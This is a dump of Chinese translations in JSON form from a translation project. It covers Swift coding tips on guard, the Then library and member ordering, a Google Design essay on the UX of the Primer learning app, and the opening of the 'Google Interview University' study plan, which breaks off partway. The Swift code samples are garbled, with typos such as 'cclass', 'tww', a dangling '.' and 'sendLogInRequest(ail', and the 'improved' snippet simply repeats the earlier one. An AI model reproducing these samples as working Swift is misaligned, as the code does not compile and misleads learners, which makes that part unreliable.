**Swift** 来帮助我征服 **Swift** （唔，小伙子，别看了，中央已经决定是你了，快念两句诗吧）。如果你有什么想法，或者想告诉我一点作为开发者的人生经验什么的话，请在 Twitter 上联系我，我的账号是 [ksmandersen](http://twitter.com/ksmandersen)。\n\n好了废话不多说，让我们开始今天的课程吧。\n\n\n### `guard` 大法好，入 `guard` 保平安\n\n在 **Swift 2.0** 中， **Swift** 新增了一组让开发者有点陌生的特性。`Guard` 语句在进行[防御性编程](https://en.wikipedia.org/wiki/Defensive_programming)的时候将会起到不小的作用。（译者注1：防御性编程（Defensive programming）是防御式设计的一种具体体现，它是为了保证，对程序的不可预见的使用，不会造成程序功能上的损坏。它可以被看作是为了减少或消除墨菲定律效力的想法。防御式编程主要用于可能被滥用，恶作剧或无意地造成灾难性影响的程序上。来源自wiki百科）。每个 **Objective-C** 开发者可能对防御性编程都不陌生。通过使用这种技术，你可以预先确定你的代码在处理不可预期的输入数据时，不会发生异常。\n\n`Guard` 语句允许你为接下来的代码设定一些条件和规则，当然你也必须钦定当这些条件（或规则）不被满足时要怎么处理。另外，`guard` 语句必须要返回一个值。在早期的 **Swift** 编程中，你可能会使用 `if-else` 语句来对这些情况进行预先处理。但是如果你使用 `guard` 语句的话，编译器会在你没有考虑到某些情况下时帮你对异常数据进行处理。\n\n接下来的例子有点长，但是这是一个非常好的关于 `guard` 作用的实例。 `didPressLogIn` 函数在屏幕上的 `button` 被点击时被调用。我们期望这个函数被调用时，如果程序产生了额外的请求时，不会产生额外的日志。因此，我们需要提前对代码进行一些处理。然后我们需要对日志进行验证。如果这个日志不是我们所需要的，那么我们不在需要发送这段日志。但是更为重要的是，我们需要返回一段可执行语句来确保我们不会发送这段日志。`guard` 将会在我们忘记返回的时候抛出异常。\n\n~~~Swift\n    @objc func didPressLogIn(sender: AnyObject?) {\n            guard !isPerformingLogIn else { return }\n            isPerformingLogIn = true\n\n            let email = contentView.formView.emailField.text\n            let password = contentView.formView.passwordField.text\n\n            guard validateAndShowError(email, password: password) else {\n                isPerformingLogIn = false\n                return\n            }\n\n            sendLogInRequest(ail, password: password)\n    }\n~~~\n\n当 `let` 和 `guard` 配合使用的时候将会有奇效。下面这个例子中，我们将把请求的结果绑定到一个变量 `user` ，之后通过 `finishSignUp` 方法函数使用(这个变量)。如果 `result.okValue` 为空，那么 `guard` 将会产生作用，如果不为空的话，那么这个值将对 `user` 进行赋值。我们通过利用 `where` 来对 `guard` 进行限制。\n\n~~~Swift\n    currentRequest?.getValue { [weak self] result in\n      guard let user = result.okValue where result.errorValue == nil else {\n        self?.showRequestError(result.errorValue)\n        self?.isPerformingSignUp = false\n        return\n      }\n\n      self?.finishSignUp(user)\n    }\n~~~\n\n讲道理 `guard` 非常的强大。唔，如果你还没有使用的话，那么你真应该慎重考虑下了。\n\n### 在使用 `subviews` 的时候，将声明和配置同时进行。\n\n如前面一系列文章中所提到的，开发 `viwe` 的时候，我比较习惯于用代码生成。因为对 `view` 的配置套路很熟悉，所以在出现布局问题或者配置不当等问题时，我总是能很快的定位出错的地方。\n\n在开发过程中，我发现将不同的配置过程放在一起非常的重要。在我早期的 **Swift** 编程经历中，我通常会声明一个 `configureView` 函数，然后在初始化时将配置过程放在这里。但是在 **Swift** 中我们可以利用 **属性声明代码块** 来配置 `view` （其实我也不知道这玩意儿怎么称呼啦（逃）。\n\n唔，下面这个例子里，有一个包含两个 `subviews` 、 `bestTitleLabel` 、 和 `otherTitleLabel` 的 `AwesomeView` 视图。两个 `subviews` 都在一个地方进行配置。我们将配置过程都整合在 `configureView` 方法中。因此，如果我想去改变一个 `label` 的 `textColor` 属性，我很清楚的知道到哪里去进行修改。\n\n~~~Swift\n    cclass AwesomeView: GenericView {\n        let bestTitleLabel = UILabel().then {\n            $0.textAlignment = .Center\n            $0.textColor = .purpleColor()tww\n        }\n\n        let otherTitleLabel = UILabel().then {\n            $0.textAlignment = .\n            $0.textColor = .greenColor()\n        }\n\n        override func configureView() {\n            super.configureView()\n\n            addSubview(bestTitleLabel)\n            addSubview(otherTitleLabel)\n\n            // Configure constraints\n        }\n    }\n~~~\n\n对于上面的代码，我很不喜欢的就是在声明 `label` 时所带的类型标签，然后在代码块里进行初始化并返回值。通过使用[Then](https://github.com/devxoul/Then)这个库，我们可以进行一点微小的改进。你可以利用这个小函数去在你的项目里将代码块与对象的声明进行关联。这样可以减少重复声明。\n~~~Swift\n    class AwesomeView: GenericView {\n        let bestTitleLabel = UILabel().then {\n            $0.textAlignment = .Center\n            $0.textColor = .purpleColor()tww\n        }\n\n        let otherTitleLabel = UILabel().then {\n            $0.textAlignment = .\n            $0.textColor = .greenColor()\n        }\n\n        override func configureView() {\n            super.configureView()\n\n            addSubview(bestTitleLabel)\n            addSubview(otherTitleLabel)\n\n            // Configure constraints\n        }\n    }\n~~~\n\n\n### 通过不同访问级别来对类成员进行分类。\n\n唔，对我来讲，最近发生的一件比较重要的事儿就是，我利用一种比较特殊的方法来将类和结构体的成员结合在一起。这是我之前在利用 **Objective-C** 进行开发的时候养成的习惯。我通常将私有方法放置在最下面，然后公共及初始化方法放在中间。然后将属性按照公共属性到私有属性的顺序放置在代码上层。唔，你可以按照下面的结构在组织你的代码。\n\n*   公共属性\n*   内联属性\n*   私有属性\n*   初始化容器\n*   公共方法\n*   内联方法\n*   私有方法\n\n你也可以按照静态/类属性/固定值的方式进行排序。可能不同的人会在此基础上补充一些不同的东西。不过对于我来讲，我无时不刻都在按照上面的方法进行编程。\n\n好了，本期节目就到此结束。如果你有什么好的想法，或者什么想说的话，欢迎通过屏幕下方的联系方式联系我。当然欢迎通过这样的[方式](http://twitter.com/ksmandersen)丢硬币丢香蕉打赏并订阅我的文章（大雾）。\n\n下期预告：将继续讲诉 **Swift** 里的点点滴滴，不要走开，下期更精彩 。\n"
  },
  {
    "path": "TODO/google-design.md",
    "content": "> * 原文链接 : [Making Learning Easier by Design — Google Design — Medium](https://medium.com/google-design/designing-a-ux-for-learning-ebed4fa0a798#.64ivy5kwl)\n* 原文作者 : [Sandra Nam](https://medium.com/@snambomb)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [s2dongman(申悦)](https://github.com/s2dongman)\n* 校对者: [Yves-X](https://github.com/Yves-X)、[boycechang](https://github.com/boycechang)、[achilleo](https://github.com/achilleo)\n* 状态 :  翻译已完成\n\n# 通过设计让学习变轻松 - Google 的 Primer 团队是如何做用户体验设计的\n\n学习一向是个苦差事，如何在设计上下功夫，让学习变得愉快呢？\n\n说起来容易做起来难。直观上讲，人们通常不会全力以赴地学习新知识。调查显示，仅3%的美国成年人在他们的日常生活中会花费时间去学习。¹\n\n那么可想而知：尽管大量信息对我们来说触手可及，而所有的新技术都似乎在一夜之间涌出，97%的人丝毫不会为了提升自己而花时间寻求这些新知识。\n\n这就是我们团队在Google打造 [**Primer**](https://www.yourprimer.com/?utm_source=medium&utm_medium=referral&utm_content=2015-10-13-customer-needs&utm_campaign=lesson-launch)，时面临的挑战，Primer是一款帮助人们在5分钟之内学习数字营销知识的app。\n\n用户体验是解决这个问题的关键。学习有几个门槛要面对：你需要弄清楚你要学习什么，在哪儿学，以及你想怎么学，然后你需要时间、金钱和精力去跟进。\n\n> **这意味着我们的用户体验设计（UX）需要满足两点：app需要直观和引人入胜，此外还需要克服一切影响用户学习的障碍。**\n\n为了迎接这个挑战，我们考虑了三种用户使用我们app的场景：仪表盘、独立课程以及每节课的活动。\n\n1、仪表盘\n\n仪表盘的作用至关重要，因为这是人们首次打开app看到的界面。我们花了几个月的时间迭代和设计了不同仪表盘的原型，尝试了各种方案：课程包；让用户从3个随机课程中进行挑选；对课程主题相关事件进行地理位置定位；或者为我们合作的专家和品牌制作专属小部件（widgets）。一切皆有可能、方案层出不穷。\n\n![](https://cdn-images-1.medium.com/max/1200/1*hnTEbP8ArWSMmGdB4O-NVA.png)\n早期的仪表盘原型\n\n很明显我们需要一个指导方针，因此我们从用户角度出发。通过调查发现，使用这个应用的用户可以被分为三类：\n*   **被动型**: 他们会四处寻找和浏览。\n*   **好奇型**: 他们希望学习一些东西，但不知道学什么。\n*   **主动型**: 他们目标明确，对想学的内容有不止一种想法。\n\n![](https://cdn-images-1.medium.com/max/1200/1*jjX_yBbyir0ozLe1JKGIUA.png)\n最终的仪表盘样式：精选、分类和队列\n\n对于 **被动型**， 我们打造了特色专区，其中展示了5个人们能立刻开始学习的推荐课程。\n\n与此同时，我们让 **好奇型** 用户能方便地通过主题或分类查找课程，其中包括——广告、内容、度量和策略。\n\n此外，对于 **主动型** 用户，我们提供了一个管理工具：队列。他们能在这里生成专属课程列表，还能方便地随意添加和删除课程。\n\n2、课程\n\napp接下来要考虑的就是课程本身。Primer的课程目的是极大程度地消磨时间，用户可以在火车上或孩子看动画时进行学习。\n\n> **但是，学习需要集中力。我们不能让用户心不在焉地阅读课程。**\n\n我们把我们的解决方案命名为“节奏化学习”，每个课程元素——每次滑动、每个卡堆，以及每张插图——都在用户阅读内容时被设计为节奏型向导。\n\n![](https://cdn-images-1.medium.com/max/600/1*YE7tBa5FHr983s1V5L8inQ.gif)\n\n这种滑动手势让用户在阅读每张卡片时都有一种完成的感觉。挤满了信息的文本文件使人退却，但分解成卡片的课程则让人有操控感。这些卡片3-7张为一组堆叠在一起，一旦最后一张卡片被滑走，另外一组就会重新滑入。每完成一组，就会有个小成就，意味着用户不需要一直等到课程结束才能感到学有所获。\n\n完成时刻，就会展示插图。每张插图就是个小惊喜，让用户在微笑中将学习成果融入生活。尽管将展示插图加入课程创建的过程中会增加额外的工作流，但这也给课程加入了一种幽默和编辑（editorial-ness）的奇妙融合。\n\n3、活动\n\n用户体验设计的第3个，也是最后一个元素就是活动。我们在不同时段设计了三种互动方案：每节课早期的“快速开始（Quick Starts）”；课程中期的“课间互动（Mid-Lesson）”；以及在结束时的“现在就做（Do This Nows）”。\n\n快速开始（Quick Starts）的目的是让用户迅速对课程上手。例如，在搜索广告课程中，用户被要求从一堆衣服中找到条纹袜子。这种“找不同”游戏（Waldo-style activity）说明了（广告）内容在搜索结果顶部出现的价值——搜索结果能够明显区别于其他搜索结果，而不像是隐藏在一堆衣服中的袜子。这种互动不是考试测验，而是能让用户立刻对课程主题产生思考。\n\n![](https://cdn-images-1.medium.com/max/1200/1*6MNlTTITAbFnkCXB4dIMHQ.png)\n\n在这个“快速开始”中，我们使用了一种“找不同”的游戏方式证明了搜索广告的优点。\n\n就像你想的那样，“课间互动（Mid-Lesson）”出现在课程学习中间出现，中断阅读，并让用户以一种新的形式参与主题互动。在其中一节课中，我们的互动形式是要求用户把程序化媒体购买(programmatic media buying)的拼图从字面上拼在一起。在另外一课，我们把常见意义上的“做或不做”行为重新设计为一种复杂的主题。例如，在解释“移动端用户参与度”上，我们询问用户放弃发送移动推送通知是不是个好主意？结果是显而易见的，而这正是我们想要的。这些互动活动给用户带来自信，并让用户以一种轻松直观的方式获取信息，然后在脑中形成知识体系。\n\n![](https://cdn-images-1.medium.com/max/1200/1*rJppkYZXcl_cmQo4Q2DV8Q.png)\n\n这个“课间互动拼图”以一种轻松直观的方式解释了一个复杂的概念\n\n最后，现在就做（Do This Nows）功能为用户提供了一种真实的案例，能够让用户立即应用到自己的项目中。你应该从哪里跟踪你网站的数据指标？你准备好程序化购买了么？这么做会让课程感觉更有针对性和目的性。我们相信把课程用于实践是最好的学习方法，即使只是刚起步状态。\n\n\n![](https://cdn-images-1.medium.com/max/1200/1*ixTHfyFvdF3ebat4xNTpzQ.png)\n\n“现在就做”让用户在填空的过程中提供了一种个性化的体验。\n\n\n像其他app一样，Primer在生存空间和关注度上面临着激烈竞争。所以说，给用户提供集知识性、趣味性和高效率于一体的体验设计至关重要。\n\n我们的用户体验设计，目的是让学习更有趣——这也是很多人所希望的，他们不想让学习成为一件充满压力的事情。我们希望用户喜欢这样的形式和它的灵活性。学习在以往可能被看做一种义务，而现在，这就是一种每天早上你在等咖啡——无论在上网或在家——或任何5分钟自由时间时都可以很容易做的事。\n\n脚注：\n> 1) 25岁以上美国成人的数据，来源于劳工统计局“2015美国人时间利用调查”。\n"
  },
  {
    "path": "TODO/google.interview.university.md",
    "content": "\n> * 原文地址：[Google Interview University](https://github.com/jwasham/google-interview-university)\n* 原文作者：[John Washam](https://github.com/jwasham)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Aleen](https://github.com/aleen42)，[Newton](https://github.com/Newt0n)，[bobmayuze](https://github.com/bobmayuze)，[Jaeger](https://github.com/laobie)，[sqrthree](https://github.com/sqrthree)\n\n## 这是？\n\n这是我为了从 web 开发者（自学、非计算机科学学位）蜕变至 Google 软件工程师所制定的计划，其内容历时数月。\n\n![白板上编程 ———— 来自 HBO 频道的剧集，“硅谷”](https://dng5l3qzreal6.cloudfront.net/2016/Aug/coding_board_small-1470866369118.jpg)\n\n这一长列表是从 **Google 的指导笔记** 中萃取出来并进行扩展。因此，有些事情你必须去了解一下。我在列表的底部添加了一些额外项，用于解决面试中可能会出现的问题。这些额外项大部分是来自于 Steve Yegge 的“[得到在 Google 工作的机会](http://steve-yegge.blogspot.com/2008/03/get-that-job-at-google.html)”。而在 Google 指导笔记的逐字间，它们有时也会被反映出来。\n\n---\n\n## 目录\n\n- [这是？](#这是)\n- [为何要用到它？](#为何要用到它)\n- [如何使用它](#如何使用它)\n- [拥有一名 Googler 的心态](#拥有一名-googler-的心态)\n- [我得到了工作吗？](#我得到了工作吗)\n- [跟随着我](#跟随着我)\n- [不要自以为自己足够聪明](#不要自以为自己足够聪明)\n- [关于 Google](#关于-google)\n- [相关视频资源](#相关视频资源)\n- [面试过程 & 通用的面试准备](#面试过程--通用的面试准备)\n- [为你的面试选择一种语言](#为你的面试选择一种语言)\n- [在你开始之前](#在你开始之前)\n- [你所看不到的](#你所看不到的)\n- [日常计划](#日常计划)\n- [必备知识](#必备知识)\n- [算法复杂度 / Big-O / 渐进分析法](#算法复杂度--big-o--渐进分析法)\n- [数据结构](#数据结构)\n    - [数组（Arrays）](#数组arrays)\n    - [链表（Linked Lists）](#链表linked-lists)\n    - [堆栈（Stack）](#堆栈stack)\n    - [队列（Queue）](#队列queue)\n    - [哈希表（Hash table）](#哈希表hash-table)\n- [更多的知识](#更多的知识)\n    - [二分查找（Binary search）](#二分查找binary-search)\n    - [按位运算（Bitwise operations）](#按位运算bitwise-operations)\n- [树（Trees）](#树trees)\n    - [树 —— 笔记 & 背景](#树--笔记--背景)\n    - [二叉查找树（Binary search trees）：BSTs](#二叉查找树binary-search-treesbsts)\n    - [堆（Heap） / 优先级队列（Priority Queue） / 二叉堆（Binary Heap）](#堆heap--优先级队列priority-queue--二叉堆binary-heap)\n    - [字典树（Tries）](#字典树tries)\n    - [平衡查找树（Balanced search trees）](#平衡查找树balanced-search-trees)\n    - [N 叉树（K 叉树、M 叉树）](#n-叉树k-叉树m-叉树)\n- [排序](#排序sorting)\n- [图（Graphs）](#图graphs)\n- [更多知识](#更多知识)\n    - [递归](#递归recursion)\n    - [动态规划](#动态规划dynamic-programming)\n    - [组合 & 概率](#组合combinatorics-n-中选-k-个--概率probability)\n    - [NP, NP-完全和近似算法](#np-np-完全和近似算法)\n    - [缓存](#缓存cache)\n    - [进程和线程](#进程processe和线程thread)\n    - [系统设计、可伸缩性、数据处理](#系统设计可伸缩性数据处理)\n    - [论文](#论文)\n    - [测试](#测试)\n    - [调度](#调度)\n    - [实现系统例程](#实现系统例程)\n    - [字符串搜索和操作](#字符串搜索和操作)\n- [终面](#终面)\n- [书籍](#书籍)\n- [编码练习和挑战](#编码练习和挑战)\n- [当你临近面试时](#当你临近面试时)\n- [你的简历](#你的简历)\n- [当面试来临的时候](#当面试来临的时候)\n- [问面试官的问题](#问面试官的问题)\n- [当你获得了梦想的职位](#当你获得了梦想的职位)\n\n---------------- 下面的内容是可选的 ----------------\n\n- [附加的学习](#附加的学习)\n    - [Unicode](#unicode)\n    - [字节顺序](#字节顺序)\n    - [Emacs and vi(m)](#emacs-and-vim)\n    - [Unix 命令行工具](#unix-命令行工具)\n    - [信息资源 (视频)](#信息资源-视频)\n    - [奇偶校验位 & 汉明码 (视频)](#奇偶校验位--汉明码-视频)\n    - [系统熵值（系统复杂度）](#系统熵值系统复杂度)\n    - [密码学](#密码学)\n    - [压缩](#压缩)\n    - [网络 (视频)](#网络-视频)\n    - [计算机安全](#计算机安全)\n    - [释放缓存](#释放缓存)\n    - [并行/并发编程](#并行并发编程)\n    - [设计模式](#设计模式)\n    - [信息传输, 序列化, 和队列化的系统](#信息传输-序列化和队列化的系统)\n    - [快速傅里叶变换](#快速傅里叶变换)\n    - [布隆过滤器](#布隆过滤器)\n    - [van Emde Boas 树](#van-emde-boas-树)\n    - [更深入的数据结构](#更深入的数据结构)\n    - [跳表](#跳表)\n    - [网络流](#网络流)\n    - [不相交集 & 联合查找](#不相交集--联合查找)\n    - [快速处理数学](#math-for-fast-processing)\n    - [树堆 (Treap)](#树堆-treap)\n    - [线性规划](#线性规划linear-programming视频)\n    - [几何：凸包（Geometry, Convex hull）](#几何凸包geometry-convex-hull视频)\n    - [离散数学](#离散数学)\n    - [机器学习](#机器学习machine-learning)\n    - [Go 语言](#go-语言)\n- [一些主题的额外内容](#一些主题的额外内容)\n- [视频系列](#视频系列)\n- [计算机科学课程](#计算机科学课程)\n\n---\n\n## 为何要用到它？\n\n我一直都是遵循该计划去准备 Google 的面试。自 1997 年以来，我一直从事于 web 程序的构建、服务器的构建及创业型公司的创办。对于只有着一个经济学学位，而不是计算机科学学位（CS degree）的我来说，在职业生涯中所取得的都非常成功。然而，我想在 Google 工作，并进入大型系统中，真正地去理解计算机系统、算法效率、数据结构性能、低级别编程语言及其工作原理。可一项都不了解的我，怎么会被 Google 所应聘呢？\n\n当我创建该项目时，我从一个堆栈到一个堆都不了解。那时的我，完全不了解 Big-O 、树，或如何去遍历一个图。如果非要我去编写一个排序算法的话，我只能说我所写的肯定是很糟糕。一直以来，我所用的任何数据结构都是内建于编程语言当中。至于它们在背后是如何运作，对此我一概不清楚。此外，以前的我并不需要对内存进行管理，最多就只是在一个正在执行的进程抛出了“内存不足”的错误后，采取一些权变措施。而在我的编程生活中，也甚少使用到多维数组，可关联数组却成千上万。而且，从一开始到现在，我都还未曾自己实现过数据结构。\n\n就是这样的我，在经过该学习计划后，已然对被 Google 所雇佣充满信心。这是一个漫长的计划，以至于花费了我数月的时间。若您早已熟悉大部分的知识，那么也许能节省大量的时间。\n\n## 如何使用它\n\n下面所有的东西都只是一个概述。因此，你需要由上而下逐一地去处理它。\n\n在学习过程中，我是使用 GitHub 特殊的语法特性 markdown flavor 去检查计划的进展，包括使用任务列表。\n\n- [x] 创建一个新的分支，以使得你可以像这样去检查计划的进展。直接往方括号中填写一个字符 x 即可：[x]\n\n[更多关于 Github-flavored markdown 的详情](https://guides.github.com/features/mastering-markdown/#GitHub-flavored-markdown)\n\n## 拥有一名 Googler 的心态\n\n把一个（或两个）印有“[future Googler](https://github.com/jwasham/google-interview-university/blob/master/extras/future-googler.pdf)”的图案打印出来，并用你誓要成功的眼神盯着它。\n\n[![future Googler sign](https://dng5l3qzreal6.cloudfront.net/2016/Oct/Screen_Shot_2016_10_04_at_10_13_24_AM-1475601104364.png)](https://github.com/jwasham/google-interview-university/blob/master/extras/future-googler.pdf)\n\n## 我得到了工作吗？\n\n我还没去应聘。\n\n因为我离完成学习（完成该疯狂的计划列表）还需要数天的时间，并打算在下周开始用一整天的时间，以编程的方式去解决问题。当然，这将会持续数周的时间。然后，我才通过使用在二月份所得到的一个介绍资格，去正式应聘 Google（没错，是二月份时就得到的）。\n\n    感谢 JP 的这次介绍。\n\n## 跟随着我\n\n目前我仍在该计划的执行过程中，如果你想跟随我脚步去学习的话，可以登进我在 [GoogleyAsHeck.com](https://googleyasheck.com/) 上所写的博客。\n\n下面是我的联系方式：\n\n- Twitter: [@googleyasheck](https://twitter.com/googleyasheck)\n- Twitter: [@StartupNextDoor](https://twitter.com/StartupNextDoor)\n- Google+: [+Googleyasheck](https://plus.google.com/+Googleyasheck)\n- LinkedIn: [johnawasham](https://www.linkedin.com/in/johnawasham)\n\n![John Washam - Google Interview University](https://dng5l3qzreal6.cloudfront.net/2016/Aug/book_stack_photo_resized_18_1469302751157-1472661280368.png)\n\n## 不要自以为自己足够聪明\n\n- Google 的工程师都是才智过人的。但是，就算是工作在 Google 的他们，仍然会因为自己不够聪明而感到一种不安。\n- [天才程序员的神话](https://www.youtube.com/watch?v=0SARbwvhupQ)\n\n## 关于 Google\n\n- [ ] 面向学生 —— [Google 的职业生涯：技术开发指导](https://www.google.com/about/careers/students/guide-to-technical-development.html)\n- [ ] Google 检索的原理：\n    - [ ] [Google 检索的发展史（视频）](https://www.youtube.com/watch?v=mTBShTwCnD4)\n    - [ ] [Google 检索的原理 —— 故事篇](https://www.google.com/insidesearch/howsearchworks/thestory/)\n    - [ ] [Google 检索的原理](https://www.google.com/insidesearch/howsearchworks/)\n    - [ ] [Google 检索的原理 —— Matt Cutts（视频）](https://www.youtube.com/watch?v=BNHR6IQJGZs)\n    - [ ] [Google 是如何改善其检索算法（视频）](https://www.youtube.com/watch?v=J5RZOU6vK4Q)\n- [ ] 系列文章：\n    - [ ] [Google 检索是如何处理移动设备](https://backchannel.com/how-google-search-dealt-with-mobile-33bc09852dc9)\n    - [ ] [Google 为了寻找大众需求的秘密研究](https://backchannel.com/googles-secret-study-to-find-out-our-needs-eba8700263bf)\n    - [ ] [Google 检索将成为你的下一个大脑](https://backchannel.com/google-search-will-be-your-next-brain-5207c26e4523)\n    - [ ] [Demis Hassabis 的心灵直白](https://backchannel.com/the-deep-mind-of-demis-hassabis-156112890d8a)\n- [ ] [书籍：Google 公司是如何运作的](https://www.amazon.com/How-Google-Works-Eric-Schmidt/dp/1455582344)\n- [ ] [由 Google 通告所制作 —— 2016年10月（视频）](https://www.youtube.com/watch?v=q4y0KOeXViI)\n\n## 相关视频资源\n\n部分视频只能通过在 Coursera、Edx 或 Lynda.com class 上注册登录才能观看。这些视频被称为网络公开课程（MOOC）。即便是免费观看，部分课程可能会由于不在时间段内而无法获取。因此，你需要多等待几个月。\n\n    很感谢您能帮我把网络公开课程的视频链接转换成公开的视频源，以代替那些在线课程的视频。此外，一些大学的讲座视频也是我所青睐的。\n\n## 面试过程 & 通用的面试准备\n\n- [ ] 视频：\n    - [ ] [如何在 Google 工作 —— 考生指导课程（视频）](https://www.youtube.com/watch?v=oWbUtlUhwa8&feature=youtu.be)\n    - [ ] [Google 招聘者所分享的技术面试小窍门（视频）](https://www.youtube.com/watch?v=qc1owf2-220&feature=youtu.be)\n    - [ ] [如何在 Google 工作：技术型简历的准备（视频）](https://www.youtube.com/watch?v=8npJLXkcmu8)\n\n- [ ] 文章：\n    - [ ] [三步成为 Googler](http://www.google.com/about/careers/lifeatgoogle/hiringprocess/)\n    - [ ] [得到在 Google 的工作机会](http://steve-yegge.blogspot.com/2008/03/get-that-job-at-google.html)\n        - 所有他所提及的事情都列在了下面\n    - [ ] _（早已过期）_ [如何得到 Google 的一份工作，面试题，应聘过程](http://dondodge.typepad.com/the_next_big_thing/2010/09/how-to-get-a-job-at-google-interview-questions-hiring-process.html)\n    - [ ] [手机设备屏幕的问题](http://sites.google.com/site/steveyegge2/five-essential-phone-screen-questions)\n\n- [ ] 附加的（虽然 Google 不建议，但我还是添加在此）：\n    - [ ] [ABC：永远都要去编程（Always Be Coding）](https://medium.com/always-be-coding/abc-always-be-coding-d5f8051afce2#.4heg8zvm4)\n    - [ ] [四步成为 Google 里一名没有学位的员工](https://medium.com/always-be-coding/four-steps-to-google-without-a-degree-8f381aa6bd5e#.asalo1vfx)\n    - [ ] [共享白板（Whiteboarding）](https://medium.com/@dpup/whiteboarding-4df873dbba2e#.hf6jn45g1)\n    - [ ] [Google 是如何看待应聘、管理和公司文化](http://www.kpcb.com/blog/lessons-learned-how-google-thinks-about-hiring-management-and-culture)\n    - [ ] [程序开发面试中有效的白板（Whiteboarding）](http://www.coderust.com/blog/2014/04/10/effective-whiteboarding-during-programming-interviews/)\n    - [ ] 震撼开发类面试 第一集：\n        - [ ] [Gayle L McDowell —— 震撼开发类面试（视频）](https://www.youtube.com/watch?v=rEJzOhC5ZtQ)\n        - [ ] [震撼开发类面试 —— 作者 Gayle Laakmann McDowell（视频）](https://www.youtube.com/watch?v=aClxtDcdpsQ)\n    - [ ] 如何在世界四强企业中获得一份工作：\n        - [ ] [“如何在世界四强企业中获得一份工作 —— Amazon、Facebook、Google 和 Microsoft”（视频）](https://www.youtube.com/watch?v=YJZCUhxNCv8)\n    - [ ] [面试 Google 失败](http://alexbowe.com/failing-at-google-interviews/)\n\n## 为你的面试选择一种语言\n\n在这，我就以下话题写一篇短文 —— [重点：为在 Google 的面试选择一种语言](https://googleyasheck.com/important-pick-one-language-for-the-google-interview/)\n\n在大多数公司的面试当中，你可以在编程这一环节，使用一种自己用起来较为舒适的语言去完成编程。但在 Google，你只有三种固定的选择：\n\n- C++\n- Java\n- Python\n\n有时你也可以使用下面两种，但需要事先查阅说明。因为，说明中会有警告：\n\n- JavaScript\n- Ruby\n\n你需要对你所选择的语言感到非常舒适且足够了解。\n\n更多关于语言选择的阅读：\n\n- http://www.byte-by-byte.com/choose-the-right-language-for-your-coding-interview/\n- http://blog.codingforinterviews.com/best-programming-language-jobs/\n- https://www.quora.com/What-is-the-best-language-to-program-in-for-an-in-person-Google-interview\n\n[在此查看相关语言的资源](programming-language-resources.md)\n\n由于，我正在学习C、C++ 和 Python。因此，在下面你会看到部分关于它们的学习资料。相关书籍请看文章的底部。\n\n## 在你开始之前\n\n该列表已经持续更新了很长的一段时间，所以，我们的确很容易会对其失去控制。\n\n这里列出了一些我所犯过的错误，希望您不要重滔覆辙。\n\n### 1. 你不可能把所有的东西都记住\n\n就算我查看了数小时的视频，并记录了大量的笔记。几个月后的我，仍然会忘却其中大部分的东西。所以，我翻阅了我的笔记，并将可回顾的东西制作成抽认卡（flashcard）（请往下看）\n\n### 2. 使用抽认卡\n\n为了解决善忘的问题，我制作了一些关于抽认卡的页面，用于添加两种抽认卡：正常的及带有代码的。每种卡都会有不同的格式设计。\n\n而且，我还以移动设备为先去设计这些网页，以使得在任何地方的我，都能通过我的手机及平板去回顾知识。\n\n你也可以免费制作属于你自己的抽认卡网站：\n\n- [抽认卡页面的代码仓库](https://github.com/jwasham/computer-science-flash-cards)\n- [我的抽认卡数据库](https://github.com/jwasham/computer-science-flash-cards/blob/master/cards-jwasham.db)：有一点需要记住的是，我做事有点过头，以至于把卡片都覆盖到所有的东西上。从汇编语言和 Python 的细枝末节，乃至到机器学习和统计都被覆盖到卡片上。而这种做法，对于 Google 的要求来说，却是多余。\n\n**在抽认卡上做笔记：** 若你第一次发现你知道问题的答案时，先不要急着把其标注成“已懂”。你需要做的，是去查看一下是否有同样的抽认卡，并在你真正懂得如何解决问题之前，多问自己几次。重复地问答可帮助您深刻记住该知识点。\n\n### 3. 回顾，回顾，回顾\n\n我留有一组 ASCII 码表、OSI 堆栈、Big-O 记号及更多的小抄纸，以便在空余的时候可以学习。\n\n每编程半个小时就要休息一下，并去回顾你的抽认卡。\n\n### 4. 专注\n\n在学习的过程中，往往会有许多令人分心的事占据着我们宝贵的时间。因此，专注和集中注意力是非常困难的。\n\n## 你所看不到的\n\n由于，这个巨大的列表一开始是作为我个人从 Google 面试指导笔记所形成的一个事件处理列表。因此，有一些我熟悉且普遍的技术在此都未被谈及到：\n\n- SQL\n- Javascript\n- HTML、CSS 和其他前端技术\n\n## 日常计划\n\n部分问题可能会花费一天的时间去学习，而部分则会花费多天。当然，有些学习并不需要我们懂得如何实现。\n\n因此，每一天我都会在下面所列出的列表中选择一项，并查看相关的视频。然后，使用以下的一种语言去实现：\n\n    C —— 使用结构体和函数，该函数会接受一个结构体指针 * 及其他数据作为参数。\n    C++ —— 不使用内建的数据类型。\n    C++ —— 使用内建的数据类型，如使用 STL 的 std::list 来作为链表。\n    Python ——  使用内建的数据类型（为了持续练习 Python），并编写一些测试去保证自己代码的正确性。有时，只需要使用断言函数 assert() 即可。\n    此外，你也可以使用 Java 或其他语言。以上只是我的个人偏好而已。\n\n为何要在这些语言上分别实现一次？\n\n    因为可以练习，练习，练习，直至我厌倦它，并完美地实现出来。（若有部分边缘条件没想到时，我会用书写的形式记录下来并去记忆）\n    因为可以在纯原生的条件下工作（不需垃圾回收机制的帮助下，分配/释放内存（除了 Python））\n    因为可以利用上内建的数据类型，以使得我拥有在现实中使用内建工具的经验（在生产环境中，我不会去实现自己的链表）\n\n就算我没有时间去每一项都这么做，但我也会尽我所能的。\n\n在这里，你可以查看到我的代码：\n - [C](https://github.com/jwasham/practice-c)\n - [C++](https://github.com/jwasham/practice-cpp)\n - [Python](https://github.com/jwasham/practice-python)\n\n你不需要记住每一个算法的内部原理。\n\n在一个白板上写代码，而不要直接在计算机上编写。在测试完部分简单的输入后，到计算机上再测试一遍。\n\n## 必备知识\n\n- [ ] **计算机是如何处理一段程序：**\n    - [ ] [CPU 是如何执行代码（视频）](https://www.youtube.com/watch?v=42KTvGYQYnA)\n    - [ ] [机器码指令（视频）](https://www.youtube.com/watch?v=Mv2XQgpbTNE)\n\n- [ ] **编译器**\n    - [ ] [编译器是如何在 ~1 分钟内工作（视频）](https://www.youtube.com/watch?v=IhC7sdYe-Jg)\n    - [ ] [Hardvard CS50 —— 编译器（视频）](https://www.youtube.com/watch?v=CSZLNYF4Klo)\n    - [ ] [C++（视频）](https://www.youtube.com/watch?v=twodd1KFfGk)\n    - [ ] [掌握编译器的优化（C++）（视频）](https://www.youtube.com/watch?v=FnGCDLhaxKU)\n\n- [ ] **浮点数是如何存储的：**\n    